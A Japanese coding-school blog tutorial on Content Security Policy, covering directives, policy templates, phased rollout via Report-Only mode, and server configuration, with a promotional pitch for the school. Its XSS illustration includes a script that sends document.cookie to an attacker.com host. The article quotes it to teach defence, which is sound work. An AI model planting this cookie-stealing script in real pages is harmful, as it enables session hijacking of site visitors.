WithCodeMedia-1-pc
previous arrowprevious arrow
next arrownext arrow

WithCodeMedia-1-sp
previous arrowprevious arrow
next arrownext arrow

Content Security Policy (CSP)の実装ガイド|テンプレートから段階的導入まで徹底解説

生徒

最近、XSS攻撃からWebサイトを守る方法を調べていたら「CSP」というセキュリティ機能を見つけたんですけど、どうやって実装すれば良いんですか?

ペン博士

よーく聞くんだぞ!CSP(Content Security Policy)は、XSS攻撃を防ぐ非常に強力なセキュリティ機能じゃ。今日は基本的な仕組みから実践的な実装方法まで、詳しく解説するぞい!

生徒

ありがとうございます!よろしくお願いいたします!

Webサイトのセキュリティは、開発者にとって最も重要な課題の一つです。特にXSS(Cross-Site Scripting)攻撃は、個人情報の漏洩やアカウント乗っ取りなど、深刻な被害をもたらす可能性があります。

本記事では、Content Security Policy (CSP)の実装方法について、基本的な仕組みから各ディレクティブの詳細、実践的なテンプレート集、段階的な導入方法、よくある問題の解決方法まで、実装例を交えながら詳しく解説します。

「学習→案件獲得」につなげた受講生のリアルな体験談も公開中!
働き方を変えたい方にも響くストーリーです。

菅井さん
将来的への不安と子育てという背景から「副業」に挑戦しようと決意。独学からプログラミングの学習を開始していたが、WithCodeに出会い体験コースを受講。約4ヶ月の学習に取り組み、当初の目標であった卒業テスト合格を実現した。WithCode Platinumにて3件の案件を担当し、現在は副業だけでなく本格的に「フリーランス」として在宅で活躍していきたいと考えるようになる。

詳しくはこちらの記事をご覧ください。

あわせて読みたい
【子育てママさん必見】「在宅×副業」を達成!多方向で活躍中のママさんフリーランスにインタビュー! ペン博士、ママさんなのに在宅で副業もこなしている方がいるって聞いたんですけど、本当ですか?だとしたらすごすぎます! うむ、うちの受講生でな、まさに“時間も場所...

菅井さんの主な制作実績はこちら


目次

Content Security Policy (CSP)とは?

Content Security Policy (CSP)は、Webサイトで読み込むリソース(JavaScript、CSS、画像など)の取得元を制限するセキュリティ機能です。HTTPヘッダーまたはHTMLの<meta>タグで設定します。

CSPが防ぐ攻撃

CSPは主に以下のセキュリティ脅威から保護します:

  • XSS(Cross-Site Scripting)攻撃:悪意のあるスクリプトの実行を防止
  • インジェクション攻撃:不正なコンテンツの埋め込みをブロック
  • パケット盗聴:HTTPSへのアップグレードを強制
  • クリックジャッキング:フレーム埋め込みを制限

CSPの仕組み

CSPは、ホワイトリスト方式でリソースの読み込みを制御します:

  1. 開発者が「許可するリソースの取得元」を指定
  2. ブラウザがポリシーに違反するリソースをブロック
  3. 違反を検出した場合、オプションでレポートを送信

例えば、「自サイトとCDNのJavaScriptのみ許可」と設定すると、攻撃者が埋め込んだ外部スクリプトは実行されません。

CSPの実装方法

CSPは2つの方法で設定できます:

方法1: HTTPヘッダー(推奨)

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

方法2: HTMLのmetaタグ

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://cdn.example.com">

HTTPヘッダーが推奨される理由:

  • すべてのディレクティブが使用可能(metaタグでは一部制限あり)
  • HTMLが解析される前に適用される
  • サーバー側で一元管理できる

なぜCSPが必要なのか?XSS攻撃の脅威

ペン博士

CSPの重要性を理解するために、まずはXSS攻撃の危険性を見ていこう!ここを知っておかないと大変な目に遭いやすくなるからのう。

生徒

そうなんですね!よろしくお願いします!

XSS攻撃の実例

攻撃者が掲示板にこのようなコメントを投稿したとします:

<script>
  // ユーザーのCookieを攻撃者のサーバーに送信
  fetch('https://attacker.com/steal?data=' + document.cookie);
</script>

サニタイズ(無害化処理)が不十分な場合、このスクリプトがそのまま実行され、訪問者のCookieが盗まれます。

XSS攻撃で可能なこと:

  • セッションハイジャック:ログイン情報を盗んでアカウント乗っ取り
  • 個人情報の窃取:フォーム入力内容や表示データの取得
  • マルウェア配布:偽のダウンロードリンクの表示
  • フィッシング:偽のログインフォームを表示
  • DDoS攻撃:訪問者のブラウザを踏み台に

CSPがXSS攻撃を防ぐ仕組み

CSPを適切に設定すると、以下のように防御できます:

Content-Security-Policy: default-src 'self'; script-src 'self'

このポリシーの効果:

  • インラインスクリプトをブロック<script>タグ内のコードは実行されない
  • 外部スクリプトをブロックhttps://attacker.comからのスクリプトは読み込まれない
  • eval()をブロック:文字列からのコード実行を防止

攻撃者が悪意のあるスクリプトを埋め込んでも、ブラウザが実行を拒否するため、被害を防げます。

従来の防御策との違い

サニタイズ(エスケープ処理):

  • 開発者が完璧に実装する必要がある
  • 1箇所でも漏れがあれば脆弱性が残る
  • 新しい攻撃手法への対応が遅れる可能性

CSP(多層防御):

  • サニタイズ漏れがあっても攻撃を防げる
  • ブラウザレベルで強制される
  • 既知・未知の攻撃手法の両方に効果

CSPはサニタイズの代替ではなく、追加の防御層として機能します。両方を実装することで、セキュリティを大幅に強化できます。


CSPディレクティブの詳細解説

ペン博士

CSPは、複数の「ディレクティブ」を組み合わせて設定する。各ディレクティブは特定の種類のリソースを制御するぞ!

生徒

色々なディレクティブがあるんですね!勉強になります!

主要なディレクティブ一覧

ディレクティブ制御対象説明
default-srcすべてのリソース他のディレクティブのデフォルト値
script-srcJavaScriptスクリプトの読み込み元を制限
style-srcCSSスタイルシートの読み込み元を制限
img-src画像画像の読み込み元を制限
font-srcフォントWebフォントの読み込み元を制限
connect-src通信fetch、XHR、WebSocketの接続先を制限
media-srcメディア音声・動画の読み込み元を制限
object-srcプラグイン<object>、<embed>の読み込み元を制限
frame-srciframeiframeで読み込むページを制限
base-uri<base>タグ<base>要素のURLを制限
form-actionフォーム送信フォームの送信先を制限

ソース値の指定方法

各ディレクティブには、許可する取得元(ソース)を指定します:

ソース値意味
‘self’自サイト(同一オリジン)https://example.com
‘none’すべて拒否
‘unsafe-inline’インラインコードを許可<script>…</script>
‘unsafe-eval’eval()を許可eval(‘code’)
ドメイン特定ドメインを許可https://cdn.example.com
ワイルドカードサブドメイン全体を許可https://*.example.com
スキーム特定のプロトコルを許可https:、data:
nonce-特定のスクリプト/スタイルを許可nonce-abc123
hash-ハッシュ値が一致するコードを許可sha256-abc…

ディレクティブの記述例

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';

この設定の意味:

  • default-src ‘self’: デフォルトは自サイトのみ許可
  • script-src: 自サイトとcdn.example.comのJavaScriptのみ
  • style-src: 自サイトのCSSとインラインスタイル
  • img-src: 自サイト、data:スキーム、すべてのHTTPSサイトの画像
  • font-src: 自サイトとGoogle Fonts
  • connect-src: 自サイトとapi.example.comへのAJAX通信
  • frame-src ‘none’: すべてのiframe読み込みを禁止
  • object-src ‘none’: Flash等のプラグインを禁止

実践的なCSPテンプレート集

生徒

CSPの実践的な方法を知りたいです!

ペン博士

良い心がけじゃ!ここでは、用途別の実践的なCSPテンプレートを紹介するぞ。プロジェクトに応じて選択・カスタマイズするのじゃ!

テンプレート1: 最も厳格なCSP(静的サイト向け)

外部リソースを一切使用しない、完全に静的なWebサイト向け:

Content-Security-Policy:
  default-src 'none';
  script-src 'self';
  style-src 'self';
  img-src 'self';
  font-src 'self';
  connect-src 'none';
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';

特徴:

  • 最も安全な設定
  • インラインスクリプト/スタイルは使用不可
  • 外部リソース(CDN、API)は使用不可
  • ブログやコーポレートサイトに最適

テンプレート2: CDNを使用する一般的なWebサイト

Google Fonts、CDNからのJavaScriptライブラリを使用する場合:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com;
  style-src 'self' https://fonts.googleapis.com;
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self';
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;

特徴:

  • 主要CDNからのライブラリ読み込みを許可
  • Google Fontsを使用可能
  • HTTPSの画像を全許可
  • upgrade-insecure-requestsでHTTPを自動的にHTTPSに

テンプレート3: Google AnalyticsやGoogle Tag Managerを使用

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://www.google-analytics.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https://www.google-analytics.com https://www.googletagmanager.com;
  font-src 'self';
  connect-src 'self' https://www.google-analytics.com https://analytics.google.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';

注意点:
Google Tag Managerは動的にスクリプトを読み込むため、’unsafe-eval’が必要な場合がある
より厳格にするには、nonceを使用してインラインスクリプトを個別許可

テンプレート4: React/Vueなどのモダンフレームワーク

SPAフレームワークを使用する場合:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: blob: https:;
  font-src 'self' data:;
  connect-src 'self' https://api.example.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  worker-src 'self' blob:;

特徴:

  • style-srcに’unsafe-inline’(CSS-in-JSで必要)
  • img-srcにblob:(動的画像生成で必要)
  • worker-srcにblob:(Web Workerで必要)
  • connect-srcにAPI通信先を指定

テンプレート5: nonceを使用した最高セキュリティレベル

インラインスクリプトを使用しつつ、最高レベルのセキュリティを実現:

サーバー側(Node.js/Express):

const crypto = require('crypto');

app.use((req, res, next) => {
  // リクエストごとにランダムなnonceを生成
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.nonce = nonce;

  res.setHeader(
    'Content-Security-Policy',
    `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'nonce-${nonce}'; object-src 'none';`
  );
  next();
});

HTML:

<!-- nonceを指定してインラインスクリプトを許可 -->
<script nonce="<%= nonce %>">
  console.log('このスクリプトは実行されます');
</script>

<!-- nonceがないスクリプトはブロックされる -->
<script>
  console.log('このスクリプトはブロックされます');
</script>

nonceの利点:

  • ‘unsafe-inline’を使わずにインラインスクリプトを許可
  • 攻撃者はnonceを予測できないため、XSS攻撃を防げる
  • リクエストごとに異なるnonceを生成することが重要

CSPの段階的な導入方法

生徒

CSPの設定、いろいろな種類があって複雑ですね…実際にどこから始めれば良いでしょうか?

ペン博士

まずはReport-Onlyモードで様子を見るのがおすすめじゃ!いきなり厳格な設定にすると、サイトが動かなくなる可能性があるからのう。段階的に進めることが成功の秘訣じゃぞ!

フェーズ1: Report-Onlyモードで影響を調査

Content-Security-Policy-Report-Onlyヘッダーを使用すると、ポリシー違反をブロックせず、レポートのみ送信します。

Content-Security-Policy-Report-Only:
  default-src 'self';
  script-src 'self';
  report-uri https://example.com/csp-report;

レポートエンドポイントの実装(Node.js/Express):

app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
  console.log('CSP Violation:', JSON.stringify(req.body, null, 2));

  // レポートをログファイルやデータベースに保存
  // または外部サービス(Sentry、Report URIなど)に送信

  res.status(204).end();
});

レポートの内容例:

{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "violated-directive": "script-src 'self'",
    "blocked-uri": "https://evil.com/malicious.js",
    "line-number": 42,
    "column-number": 5,
    "source-file": "https://example.com/page"
  }
}

フェーズ1の手順:

  1. Report-Onlyモードで厳格なポリシーを設定
  2. 1-2週間運用してレポートを収集
  3. 違反内容を分析し、正当なリソースを特定
  4. ポリシーを調整して再テスト

フェーズ2: 緩いポリシーで本番適用

Report-Onlyモードでの調査が完了したら、緩めのポリシーから本番適用します:

Content-Security-Policy:
  default-src 'self' 'unsafe-inline' 'unsafe-eval' https:;
  img-src * data:;
  report-uri https://example.com/csp-report;

この段階では:

  • インラインスクリプト/スタイルを許可
  • eval()を許可
  • HTTPSのリソースを全許可
  • 引き続きレポート機能で監視

フェーズ3: ポリシーの段階的な厳格化

安定稼働を確認したら、徐々にポリシーを厳格化します:

ステップ1: HTTPSを必須に

default-src 'self' 'unsafe-inline' 'unsafe-eval'; /* https: を削除 */

ステップ2: eval()を禁止

default-src 'self' 'unsafe-inline'; /* 'unsafe-eval' を削除 */

ステップ3: インラインスクリプトを禁止(nonceまたはhashを使用)

default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'nonce-{random}';

各ステップで1-2週間運用し、問題がないことを確認してから次に進みます。

フェーズ4: 最終的な厳格なポリシー

最終的に、必要最小限の許可のみを含むポリシーを適用:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random}' https://cdn.example.com;
  style-src 'self' 'nonce-{random}';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;
  block-all-mixed-content;

主要なWebサーバーでのCSP設定方法

ペン博士

次は、サーバー環境別のCSP設定方法を紹介するからよーく聞くんじゃぞ!

生徒

分かりました!よろしくお願いします!

Apache (.htaccess)

<IfModule mod_headers.c>
  Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-src 'none'; object-src 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests;"
</IfModule>

Nginx

server {
  # その他の設定...

  add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-src 'none'; object-src 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests;" always;
}

Node.js / Express

const express = require('express');
const helmet = require('helmet');

const app = express();

// helmetを使用した設定(推奨)
app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://cdn.example.com"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      fontSrc: ["'self'", "https://fonts.gstatic.com"],
      connectSrc: ["'self'"],
      frameSrc: ["'none'"],
      objectSrc: ["'none'"],
      baseUri: ["'self'"],
      formAction: ["'self'"],
      upgradeInsecureRequests: [],
    },
  })
);

// 手動設定の場合
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self' https://cdn.example.com; ..."
  );
  next();
});

Next.js

// next.config.js
module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: "default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self'; frame-src 'none'; object-src 'none';"
          }
        ]
      }
    ]
  }
}

トラブルシューティング

生徒

CSPを実装するにあたってトラブルシューティングのことも知りたいです!

ペン博士

うむ。ここでは、主なトラブルシューティングを5つ紹介するぞい!

問題1: Google AnalyticsやGoogle Tag Managerが動かない

症状:CSP導入後、アクセス解析が取得できなくなった。

原因:Google関連のドメインが許可されていない。

解決策:

Content-Security-Policy:
  script-src 'self' https://www.googletagmanager.com https://
www.google-analytics.com;
  img-src 'self' https://www.google-analytics.com https://
www.googletagmanager.com;
  connect-src 'self' https://www.google-analytics.com https://
analytics.google.com;

問題2: インラインスクリプトがブロックされる

症状:<script>タグ内のJavaScriptが実行されない。

原因:‘unsafe-inline’が設定されていない。

解決策(選択肢):

方法1: nonceを使用(推奨)

<!-- サーバー側でランダムなnonceを生成 -->
<script nonce="abc123">
  console.log('許可されたスクリプト');
</script>

方法2: 外部ファイル化

<!-- インラインスクリプトを外部ファイルに移動 -->
<script src="/js/app.js"></script>

方法3: ‘unsafe-inline’を許可(非推奨)

script-src 'self' 'unsafe-inline';

問題3: CSSが適用されない

症状:インラインスタイルやstyle属性が無効化される。

解決策:

style-src 'self' 'unsafe-inline';

または、nonceを使用:

<style nonce="abc123">
  .custom { color: red; }
</style>

問題4: iframeが表示されない

症状:YouTubeの埋め込み動画などが表示されない。

解決策:

frame-src 'self' https://www.youtube.com https://player.vimeo.com;

問題5: Font AwesomeやGoogle Fontsが読み込まれない

解決策:

font-src 'self' https://fonts.gstatic.com 
https://cdnjs.cloudflare.com;
style-src 'self' https://fonts.googleapis.com 
https://cdnjs.cloudflare.com;

CSPのテストとデバッグ

Chrome DevToolsでの確認方法

CSP違反はChromeのConsoleタブに表示されます:

違反メッセージの例:

Refused to load the script 'https://evil.com/malicious.js' because it violates the following Content Security Policy directive: "script-src 'self'".

確認手順:

  1. Chrome DevToolsを開く(F12キー)
  2. Consoleタブを選択
  3. ページをリロード
  4. CSP違反メッセージを確認

オンラインツール

1. CSP Evaluator (Google)
https://csp-evaluator.withgoogle.com/

  • CSPポリシーの安全性を評価
  • 脆弱性を指摘
  • 改善案を提示

2. Report URI
https://report-uri.com/

  • CSP違反レポートの収集・分析サービス
  • ダッシュボードで違反傾向を可視化
  • 無料プランあり

3. Security Headers
https://securityheaders.com/

  • Webサイトのセキュリティヘッダーを評価
  • CSPを含む各種ヘッダーをチェック
  • 改善点を提案

生徒

CSP、思ってたよりちゃんと設計するものなんですね!

ペン博士

うむ。CSPを理解できれば、
安全なWebサイトを設計できるエンジニアに一歩近づくぞ!

生徒

まずはReport-Onlyから試してみます!ありがとうございました!

まとめ

本記事では、Content Security Policy (CSP)の実装方法について、基礎から実践まで詳しく解説しました。

重要なポイントは以下の通りです。

・CSPの役割:XSS攻撃やインジェクション攻撃からWebサイトを保護するセキュリティ機能
・ホワイトリスト方式:許可するリソースの取得元を明示的に指定
主要ディレクティブ:default-src、script-src、style-src、img-srcなどで細かく制御
実践的テンプレート:用途別(静的サイト、CDN使用、SPA、nonce)の設定例を提供
段階的導入:Report-Onlyモード→緩いポリシー→段階的厳格化→最終ポリシー
トラブルシューティング:Google Analytics、インラインスクリプト、iframe、フォントなどの対処法
・テストツール:Chrome DevTools、CSP Evaluator、Report URIで継続的な監視

CSPは、Webサイトのセキュリティを大幅に向上させる強力なツールです。適切に実装することで、XSS攻撃などの深刻な脅威から、ユーザーとWebサイトを守ることができます。

まずはReport-Onlyモードで現状を把握し、段階的にポリシーを厳格化していくことをおすすめします。実装後も継続的にレポートを監視し、新しい脅威や要件に応じてポリシーを更新していきましょう。


WithCodeを体験できる初級コース公開中!

本記事でご紹介したContent Security Policyの実装技術は、Web制作の実務で非常に重要なセキュリティスキルです。WithCodeでは、こうした最新技術を含む実践的なWeb制作スキルを学べる環境を提供しています。

初級コース(¥49,800)が完全無料に!

  • 期間:1週間
  • 学習内容:
    ロードマップ/基礎知識/環境構築/HTML/CSS/LP・ポートフォリオ作成
    → 正しい学習方法で「確かな成長」を実感できるカリキュラム

副業・フリーランスが主流になっている今こそ、自らのスキルで稼げる人材を目指してみませんか?

未経験でも心配することはありません。初級コースを受講される方の大多数はプログラミング未経験です。まずは無料カウンセリングで、悩みや不安をお聞かせください!

この記事を書いた人

WithCode(ウィズコード)は「目指すなら稼げる人材」をビジョンに、累計400名以上のフリーランスを輩出してきた超実践型プログラミングスクールです。150社以上の実案件支援を特徴にWeb制作・Webデザインなどの役立つ情報を現場のノウハウに基づいて発信していきます。

– service –WithCodeの運営サービス

  • WithCode
    - ウィズコード -

    スクール

    「未経験」から
    現場で通用する
    スキルを身に付けよう!

    詳細はこちら
  • WithFree
    - ウィズフリ -

    実案件サポート

    制作会社のサポート下で
    実務経験を積んでいこう!

    詳細はこちら
  • WithCareer
    - ウィズキャリ -

    就転職サポート

    大手エージェントのサポート下で
    キャリアアップを目指そう!

    詳細はこちら

公式サイト より
今すぐ
無料カウンセリング
予約!

目次